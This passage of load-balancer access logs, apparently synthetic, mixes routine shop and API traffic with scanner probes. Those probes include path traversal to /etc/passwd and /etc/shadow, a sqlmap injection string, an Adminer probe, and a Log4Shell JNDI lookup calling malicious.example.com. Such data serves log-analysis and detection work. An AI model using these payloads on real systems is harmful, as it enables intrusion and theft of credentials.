Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c704-f5740175f05945cfb4816127" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:56.291102Z "forward" "-" "-" "10.0.240.33:443" "200" "-" "-" +https 2024-11-01T01:05:56.731546Z prod-api-alb 45.155.205.86:15461 10.0.14.208:443 0.086320 0.283778 0.061076 404 404 733 10555 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c704-2f5c83b83bde4821911220fb" "-" "-" 6 2024-11-01T01:05:56.731546Z "forward" "-" "-" "10.0.14.208:443" "404" "-" "-" +https 2024-11-01T01:05:58.546433Z prod-web-alb 249.35.60.74:53078 10.0.222.104:443 0.050018 0.451198 0.015504 200 200 538 14342 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c706-ea85705163b0426e89d0204e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:58.546433Z "forward" "-" "-" "10.0.222.104:443" "200" "-" "-" +https 2024-11-01T01:05:59.296415Z prod-api-alb 40.35.156.156:43770 10.0.185.18:443 0.000895 0.026084 0.044125 200 200 961 3108 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c707-2a00690a42684ebba0a6d190" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:59.296415Z "forward" "-" "-" "10.0.185.18:443" "200" "-" "-" +https 2024-11-01T01:06:00.448398Z prod-web-alb 115.156.15.81:13490 10.0.196.142:443 0.086749 0.309254 0.057783 200 200 122 8066 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c708-4635233860f74237a200ac72" "prod-web-alb.example.com" "-" 4 2024-11-01T01:06:00.448398Z "forward" "-" "-" "10.0.196.142:443" "200" "-" "-" +https 2024-11-01T01:06:00.886605Z prod-web-alb 220.68.119.64:18164 10.0.228.176:443 0.073966 0.333884 0.036822 301 301 816 11707 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c708-bd6adde4a5b6421bafb45f21" "prod-web-alb.example.com" "-" 10 2024-11-01T01:06:00.886605Z "forward" "-" "-" "10.0.228.176:443" "301" "-" "-" +https 2024-11-01T01:06:01.313580Z prod-api-alb 119.171.115.16:60997 10.0.147.200:443 0.012388 0.064289 0.024742 200 200 258 14856 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c709-164c0cddddf043189d2e6d6c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:06:01.313580Z "forward" "-" "-" "10.0.147.200:443" "200" "-" "-" +http 2024-11-01T01:06:03.032825Z staging-alb 236.1.28.73:63560 234.245.224.213:443 0.067129 0.587128 0.075925 200 200 980 1112 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70b-1852832e4f594a3382e9c9fe" "staging-alb.example.com" "-" 6 2024-11-01T01:06:03.032825Z "forward" "-" "-" "234.245.224.213:443" "200" "-" "-" +https 2024-11-01T01:06:04.873736Z prod-api-alb 45.155.205.138:17935 10.0.159.209:443 0.044746 0.058857 0.031983 401 401 49 7652 "GET /adminer.php HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c70c-b34c636547974ae39a41ac1f" "-" "-" 10 2024-11-01T01:06:04.873736Z "forward" "-" "-" "10.0.159.209:443" "401" "-" "-" +https 2024-11-01T01:06:05.405728Z prod-web-alb 185.181.51.36:14924 10.0.29.91:443 0.091004 0.424425 0.044097 404 404 810 5499 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c70d-7d2b2bd6d31e4e548609b6c3" "-" "-" 8 2024-11-01T01:06:05.405728Z "forward" "-" "-" "10.0.29.91:443" "404" "-" "-" +http 2024-11-01T01:06:05.980979Z staging-alb 105.155.217.29:51345 198.215.161.229:443 0.129849 0.005002 0.019599 200 200 882 2109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70d-431bb29ee3af48fdacfdc5de" "staging-alb.example.com" "-" 7 2024-11-01T01:06:05.980979Z "forward" "-" "-" "198.215.161.229:443" "200" "-" "-" +https 2024-11-01T01:06:06.119565Z prod-web-alb 44.204.142.188:59471 10.0.80.70:443 0.093736 0.475415 0.004217 404 404 379 1897 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c70e-451645963e214565b3e5669a" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:06.119565Z "forward" "-" "-" "10.0.80.70:443" "404" "-" "-" +https 2024-11-01T01:06:06.399009Z staging-alb 22.36.132.131:12577 102.240.103.189:80 0.065826 0.735374 0.048673 302 302 194 3746 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70e-9953f82e195141dd92884029" "staging-alb.example.com" "-" 5 2024-11-01T01:06:06.399009Z "forward" "-" "-" "102.240.103.189:80" "302" "-" "-" +https 2024-11-01T01:06:06.927902Z staging-alb 90.67.252.53:10925 147.85.12.202:443 0.050223 0.039860 0.146751 200 200 3 13472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c70e-3f082f0d265340329a29b475" "staging-alb.example.com" "-" 6 2024-11-01T01:06:06.927902Z "forward" "-" "-" "147.85.12.202:443" "200" "-" "-" +http 2024-11-01T01:06:07.142678Z staging-alb 139.87.245.44:47634 210.27.41.22:80 0.048199 0.731184 0.101176 404 404 775 4962 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c70f-994cbdd7bc1541ef8fab90d0" "staging-alb.example.com" "-" 5 2024-11-01T01:06:07.142678Z "forward" "-" "-" "210.27.41.22:80" "404" "-" "-" +https 2024-11-01T01:06:08.596003Z prod-api-alb 101.171.111.194:36297 10.0.167.82:443 0.020904 0.278475 0.070427 200 200 281 11016 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c710-575c9e398d4443f492c96e16" "prod-api-alb.example.com" "-" 9 2024-11-01T01:06:08.596003Z "forward" "-" "-" "10.0.167.82:443" "200" "-" "-" +http 2024-11-01T01:06:10.514184Z staging-alb 193.27.228.71:19434 79.84.27.154:443 0.093326 0.492606 0.118295 404 404 510 8041 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c712-74ca4928d54546e8a7974bb9" "-" "-" 1 2024-11-01T01:06:10.514184Z "forward" "-" "-" "79.84.27.154:443" "404" "-" "-" +http 2024-11-01T01:06:11.251264Z staging-alb 193.27.228.29:13453 78.221.195.129:443 0.117985 0.299953 0.095284 200 200 927 13663 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c713-b644c12de1b94a97b2a15107" "-" "-" 7 2024-11-01T01:06:11.251264Z "forward" "-" "-" "78.221.195.129:443" "200" "-" "-" +http 2024-11-01T01:06:12.868839Z staging-alb 222.154.252.250:53848 231.105.80.199:443 0.121314 0.219009 0.145983 200 200 955 2976 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c714-94275bc3db8a47edbe5fb567" "staging-alb.example.com" "-" 3 2024-11-01T01:06:12.868839Z "forward" "-" "-" "231.105.80.199:443" "200" "-" "-" +https 2024-11-01T01:06:13.763048Z staging-alb 193.27.228.181:44452 188.138.218.145:443 0.025104 0.663013 0.001522 404 404 553 7105 "GET /images/../../../../etc/shadow HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c715-623a323edf8045b891ab3cdf" "-" "-" 7 2024-11-01T01:06:13.763048Z "forward" "-" "-" "188.138.218.145:443" "404" "-" "-" +https 2024-11-01T01:06:14.759519Z staging-alb 241.43.33.12:60322 5.147.40.162:80 0.059578 0.461839 0.022817 302 302 540 8616 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c716-17bc09771a39480b87c7048e" "staging-alb.example.com" "-" 3 2024-11-01T01:06:14.759519Z "forward" "-" "-" "5.147.40.162:80" "302" "-" "-" +https 2024-11-01T01:06:16.413851Z prod-web-alb 37.40.189.32:29173 10.0.192.84:443 0.079323 0.158655 0.004413 200 200 449 13636 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c718-4ddaa0cc40ad430296584eec" "prod-web-alb.example.com" "-" 0 2024-11-01T01:06:16.413851Z "forward" "-" "-" "10.0.192.84:443" "200" "-" "-" +https 2024-11-01T01:06:18.000403Z prod-api-alb 160.81.186.222:19104 10.0.248.145:443 0.015743 0.350746 0.056934 200 200 712 1374 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c71a-eadf4b622dfc44a9b1171ff3" "prod-api-alb.example.com" "-" 10 2024-11-01T01:06:18.000403Z "forward" "-" "-" "10.0.248.145:443" "200" "-" "-" +http 2024-11-01T01:06:19.272746Z staging-alb 178.218.154.253:18500 145.154.80.36:443 0.007416 0.578518 0.141340 200 200 717 4109 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c71b-b34fac33dfc6443785d3b2ba" "staging-alb.example.com" "-" 2 2024-11-01T01:06:19.272746Z "forward" "-" "-" "145.154.80.36:443" "200" "-" "-" +https 2024-11-01T01:06:20.236183Z prod-api-alb 154.240.158.114:58505 10.0.244.170:443 0.023268 0.420112 0.050297 301 301 104 9003 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c71c-74f9556cf6d24866b875525f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:06:20.236183Z "forward" "-" "-" "10.0.244.170:443" "301" "-" "-" +https 2024-11-01T01:06:20.551951Z prod-api-alb 139.99.237.140:41482 10.0.22.253:443 0.007675 0.198060 0.057534 302 302 90 4675 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c71c-6af8bddfc47d476f9800424e" "-" "-" 1 2024-11-01T01:06:20.551951Z "forward" "-" "-" "10.0.22.253:443" "302" "-" "-" +http 2024-11-01T01:06:21.564301Z staging-alb 24.144.113.236:38160 177.81.137.205:80 0.087135 0.070293 0.059336 302 302 737 712 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c71d-dd91879af3614fc6bfd51c59" "staging-alb.example.com" "-" 9 2024-11-01T01:06:21.564301Z "forward" "-" "-" "177.81.137.205:80" "302" "-" "-" +https 2024-11-01T01:06:22.589403Z prod-web-alb 45.155.205.35:42347 10.0.24.114:443 0.027086 0.350266 0.023084 403 403 14 9609 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c71e-9c0cacf3984743ba87b89b52" "-" "-" 4 2024-11-01T01:06:22.589403Z "forward" "-" "-" "10.0.24.114:443" "403" "-" "-" +https 2024-11-01T01:06:23.117145Z prod-api-alb 217.224.40.194:13568 10.0.28.178:443 0.072195 0.120028 0.022282 200 200 685 11626 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c71f-80c8acc2f9b64f9a8b2889a1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:06:23.117145Z "forward" "-" "-" "10.0.28.178:443" "200" "-" "-" +https 2024-11-01T01:06:24.980500Z prod-web-alb 68.231.162.133:17341 10.0.108.89:443 0.075569 0.191806 0.049995 200 200 726 8332 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c720-78c471bea5f541d8b358db67" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:24.980500Z "forward" "-" "-" "10.0.108.89:443" "200" "-" "-" +http 2024-11-01T01:06:26.441201Z staging-alb 136.183.45.160:23669 24.54.126.194:8080 0.078509 0.311320 0.067110 200 200 752 4417 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c722-1e5585c9973a42738c2e29c3" "staging-alb.example.com" "-" 9 2024-11-01T01:06:26.441201Z "forward" "-" "-" "24.54.126.194:8080" "200" "-" "-" +https 2024-11-01T01:06:28.239479Z prod-api-alb 222.209.41.173:56723 10.0.56.11:443 0.084746 0.374209 0.023149 200 200 170 14679 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c724-2b3fc87c22524755a8cd4298" "prod-api-alb.example.com" "-" 0 2024-11-01T01:06:28.239479Z "forward" "-" "-" "10.0.56.11:443" "200" "-" "-" +https 2024-11-01T01:06:29.033616Z prod-api-alb 62.133.18.233:17957 10.0.8.12:443 0.062578 0.166906 0.095293 200 200 306 8273 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c725-94030e8aa7d74081bef0ec78" "prod-api-alb.example.com" "-" 5 2024-11-01T01:06:29.033616Z "forward" "-" "-" "10.0.8.12:443" "200" "-" "-" +https 2024-11-01T01:06:29.999371Z prod-web-alb 18.75.222.255:35127 10.0.97.100:443 0.018499 0.018463 0.075609 301 301 412 12167 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c725-67d8b0f91e684b949825b90e" "prod-web-alb.example.com" "-" 0 2024-11-01T01:06:29.999371Z "forward" "-" "-" "10.0.97.100:443" "301" "-" "-" +https 2024-11-01T01:06:31.715704Z prod-web-alb 122.7.110.120:49118 10.0.83.80:443 0.048859 0.127076 0.018649 200 200 77 12394 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c727-2e67f851f2974631998eb2d4" "-" "-" 6 2024-11-01T01:06:31.715704Z "forward" "-" "-" "10.0.83.80:443" "200" "-" "-" +https 2024-11-01T01:06:32.539184Z prod-api-alb 153.114.153.43:42517 10.0.82.82:443 0.031206 0.300544 0.095876 200 200 898 11541 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c728-543309dbc006453a93598b35" "prod-api-alb.example.com" "-" 8 2024-11-01T01:06:32.539184Z "forward" "-" "-" "10.0.82.82:443" "200" "-" "-" +https 2024-11-01T01:06:33.539616Z staging-alb 40.21.72.156:39216 40.226.87.169:80 0.083911 0.470504 0.030971 200 200 800 537 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c729-e4d8560b502a4ff3919b1b41" "staging-alb.example.com" "-" 7 2024-11-01T01:06:33.539616Z "forward" "-" "-" "40.226.87.169:80" "200" "-" "-" +https 2024-11-01T01:06:35.146476Z prod-web-alb 116.146.204.163:29739 10.0.53.8:443 0.085225 0.039467 0.093313 200 200 959 4249 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c72b-52be610bb7054bfe93554dc0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:06:35.146476Z "forward" "-" "-" "10.0.53.8:443" "200" "-" "-" +https 2024-11-01T01:06:35.321538Z prod-web-alb 27.134.251.49:64674 10.0.182.106:443 0.022088 0.445461 0.035654 404 404 628 14412 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c72b-2f0526796307453c9669c923" "prod-web-alb.example.com" "-" 2 2024-11-01T01:06:35.321538Z "forward" "-" "-" "10.0.182.106:443" "404" "-" "-" +https 2024-11-01T01:06:37.133649Z staging-alb 65.1.78.11:49518 17.251.68.180:80 0.135041 0.613098 0.127777 200 200 445 3945 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c72d-151b120dd62744198714dda7" "staging-alb.example.com" "-" 0 2024-11-01T01:06:37.133649Z "forward" "-" "-" "17.251.68.180:80" "200" "-" "-" +https 2024-11-01T01:06:38.946492Z prod-web-alb 220.247.235.225:20483 10.0.231.202:443 0.039468 0.333803 0.066441 302 302 233 12396 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c72e-a7efad73cecb453f8ed084ae" "prod-web-alb.example.com" "-" 8 2024-11-01T01:06:38.946492Z "forward" "-" "-" "10.0.231.202:443" "302" "-" "-" +https 2024-11-01T01:06:40.653925Z prod-api-alb 116.182.24.130:47084 10.0.78.107:443 0.005010 0.383782 0.022363 200 200 445 6668 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c730-74cee154a63b4ca1b6967156" "prod-api-alb.example.com" "-" 9 2024-11-01T01:06:40.653925Z "forward" "-" "-" "10.0.78.107:443" "200" "-" "-" +https 2024-11-01T01:06:42.037519Z prod-api-alb 10.50.29.150:20844 10.0.56.201:443 0.067641 0.313132 0.037651 200 200 790 11523 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c732-493372e8a7094bd79ca78a39" "-" "-" 6 2024-11-01T01:06:42.037519Z "forward" "-" "-" "10.0.56.201:443" "200" "-" "-" +https 2024-11-01T01:06:43.821860Z prod-web-alb 14.224.32.58:34336 10.0.20.95:443 0.018913 0.060361 0.028815 200 200 408 8623 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c733-4982625ae9404b74b49ad72d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:06:43.821860Z "forward" "-" "-" "10.0.20.95:443" "200" "-" "-" +https 2024-11-01T01:06:44.523485Z prod-web-alb 46.57.175.170:53115 10.0.207.197:443 0.034481 0.003646 0.076549 404 404 443 2492 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c734-4eb96fc092154911b9ef6efc" "prod-web-alb.example.com" "-" 6 2024-11-01T01:06:44.523485Z "forward" "-" "-" "10.0.207.197:443" "404" "-" "-" +https 2024-11-01T01:06:45.827562Z prod-api-alb 201.211.129.211:55965 10.0.128.247:443 0.032250 0.048718 0.082800 301 301 385 302 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c735-754c7b61dae946edb4650038" "prod-api-alb.example.com" "-" 4 2024-11-01T01:06:45.827562Z "forward" "-" "-" "10.0.128.247:443" "301" "-" "-" +https 2024-11-01T01:06:46.396285Z prod-web-alb 144.232.216.54:61714 10.0.241.190:443 0.040652 0.207872 0.005578 302 302 560 10065 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c736-804d6cab50324dbebfa5ce2a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:06:46.396285Z "forward" "-" "-" "10.0.241.190:443" "302" "-" "-" +https 2024-11-01T01:06:46.603575Z prod-web-alb 17.132.94.177:39744 10.0.59.210:443 0.014512 0.436046 0.076079 302 302 709 1768 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c736-f45111e1c4d1403ebf669042" "prod-web-alb.example.com" "-" 7 2024-11-01T01:06:46.603575Z "forward" "-" "-" "10.0.59.210:443" "302" "-" "-" +https 2024-11-01T01:06:48.503126Z prod-web-alb 121.157.229.213:15578 10.0.47.176:443 0.078103 0.181416 0.022277 200 200 516 10183 